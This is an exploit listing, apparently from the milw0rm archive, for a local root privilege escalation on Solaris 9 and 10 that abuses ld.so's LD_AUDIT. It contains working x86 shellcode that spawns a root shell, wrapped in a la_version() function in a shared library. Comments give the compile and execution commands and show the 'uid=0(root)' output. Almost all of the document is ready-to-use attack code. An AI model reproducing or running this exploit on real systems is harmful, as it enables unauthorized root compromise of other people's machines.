Solaris 9/10 - 'ld.so' Local Privilege Escalation (1)

/*
- SunOS 5.10 Generic i86pc i386 i86pc
- SunOS 5.9 Generic_112233-12 sun4u

It does NOT work on:

SunOS 5.8 Generic_117350-02 sun4u sparc

Example on unpatched Solaris 10 (AMD64):

atari:venglin:~> cat dupa.c
*/

static char sh[] =
"\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
atari:venglin:~> gcc -fPIC -shared -o /tmp/dupa.so dupa.c
atari:venglin:~> setenv LD_AUDIT /tmp/dupa.so
atari:venglin:~> su

# id
uid=0(root) gid=10(staff)
*/

// milw0rm.com [2005-06-28]